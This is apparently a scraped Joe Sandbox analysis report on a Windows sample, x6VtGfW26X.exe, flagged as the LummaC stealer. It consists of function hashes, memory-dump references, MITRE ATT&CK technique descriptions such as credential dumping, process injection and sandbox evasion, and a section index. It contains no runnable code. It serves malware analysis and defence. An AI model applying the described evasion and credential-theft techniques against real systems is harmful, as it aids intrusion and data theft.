Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef306f0a0a560e9368c0487f7bed80f2f1b16ce2d86714c24cf01c543c525b52
Instruction ID: 2369f3659190d9acaedf84958a61942c9d9fbd50bdd433ad0703c448ce886fd0
Opcode Fuzzy Hash: ef306f0a0a560e9368c0487f7bed80f2f1b16ce2d86714c24cf01c543c525b52
Instruction Fuzzy Hash: 222149F3F5062447F7588829CDA93666583D7E0324F2F85398B89AB7C9DC7D8C060288

Function 008451CE Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0573f220e74faf396fde4ea8603e5dde270855247a7eee1de613847dba4102c5
Instruction ID: e11fd5bb9dda8c165a19c7814bab56b07bb6052746c348a136678838594ebb16
Opcode Fuzzy Hash: 0573f220e74faf396fde4ea8603e5dde270855247a7eee1de613847dba4102c5
Instruction Fuzzy Hash: E9218EF7F60A2647F39808B8DDA9376558297A5325F2F83385F29A77C5DCAC4C091284

Function 007EC440 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e1a0a449113572a10a77f00c691312fbe059fb77799c515431cda1b37a5dd08c
Instruction ID: ca85c3acb913d8a169e7347341edc13761f15daea33dabb1a6da03f6482ffa2b
Opcode Fuzzy Hash: e1a0a449113572a10a77f00c691312fbe059fb77799c515431cda1b37a5dd08c
Instruction Fuzzy Hash: FD119E765083C89FD721AE55DC50977BBE6EBD9304F08843CE9C513251E23A9D219742

Function 00A5C188 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb860ed9d300425bd8233718502af00ab73a873cab21b14dd7ea938b9f95ac3d
Instruction ID: 39be791a244017a5460b6eb6153c7464d558a280a6fde61a360e2895acafde70
Opcode Fuzzy Hash: bb860ed9d300425bd8233718502af00ab73a873cab21b14dd7ea938b9f95ac3d
Instruction Fuzzy Hash: DC21F0B250C7049FE315BF29D886AAAFBE5EF58310F02092DE6D583650EB7168508A87

Function 008504CE Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55bb7afd138e09e68d01d8c093efa533aadd3ebbffce957b66b0c078fab3d1a7
Instruction ID: 1ac3264d6d05369a2bee1a1acbfa2af5e418261b165256642a264318fb6b26fd
Opcode Fuzzy Hash: 55bb7afd138e09e68d01d8c093efa533aadd3ebbffce957b66b0c078fab3d1a7
Instruction Fuzzy Hash: 602126F7F60A3547F7984879CC98362618297E5315F2F82398E0CEB7C5E87D9C0A5284

Function 007E5410 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 17b15f75696f625095ea15175a7ef6bfbd8b8a95ad9000cf5869422ddeb42fc2
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 5E112533A065D90EC3128D3D8400565BFE30AA723EB6D8399F4B89B2D2D6268DCA8350

Function 007DC0CD Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f10ef63025d853010bbcd235c1ddb8abbacb0ba491801d8f95867e39bd8927
Instruction ID: 9c4cd2e11dc849995170a433615f08ab8680198714a8d495bce45e2d6217c023
Opcode Fuzzy Hash: 01f10ef63025d853010bbcd235c1ddb8abbacb0ba491801d8f95867e39bd8927
Instruction Fuzzy Hash: 8201282160D7518BD319CB699891327FBE2ABDA704F18945ED0CBD7310C528CD02874A

Function 007EE19A Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58d02ebaa07ec1e1fea080d4339b4adfe33acf4ab0c07667cedffec637d70dd
Instruction ID: f13f00f0c8a70f1d28c6c4ed864673e148b489c637e08a14a3dba3d71d0b49dd
Opcode Fuzzy Hash: c58d02ebaa07ec1e1fea080d4339b4adfe33acf4ab0c07667cedffec637d70dd
Instruction Fuzzy Hash: 0301D8752596908BD30C4E96E49073A7399FB8E301F18A82DC58157585C33C98128B4A

Function 007DD00D Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 007DD2C2

Strings

!, xrefs: 007DD2E4
0, xrefs: 007DD25F

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: FreeLibrary
String ID: !$0
API String ID: 3664257935-301933775
Opcode ID: 1189a14c2e03e33d76359297ff69926890f5b3ff588148c970a931e24a5c6e84
Instruction ID: 8089f0fe5ca6fce70c99fb323ceddf2335f4613cfab82a8f1a00c8b6f01cb96d
Opcode Fuzzy Hash: 1189a14c2e03e33d76359297ff69926890f5b3ff588148c970a931e24a5c6e84
Instruction Fuzzy Hash: CB8147315083908AC7388B29885177ABFE2AFD6344F28866ED4D69B391D63C8D49C756

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report x6VtGfW26X.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
x6VtGfW26X.exe

Function 007E8860 Relevance: 21.7, APIs: 5, Strings: 7, Instructions: 674
memoryCOMMON

Function 007C9362 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 390
encryptionCOMMON

Function 007D1060 Relevance: 14.3, Strings: 11, Instructions: 575
COMMON

Function 007BDE48 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 339
COMMON

Function 007D29CD Relevance: 9.8, APIs: 2, Strings: 3, Instructions: 1009
COMMON

Function 007B95A0 Relevance: 9.1, Strings: 7, Instructions: 320
COMMON

Function 007DBE8A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Function 007DC26C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 337
COMMON

Function 007DC282 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 331
COMMON

Function 007DB842 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Function 007DB840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Function 007DB94D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83
COMMON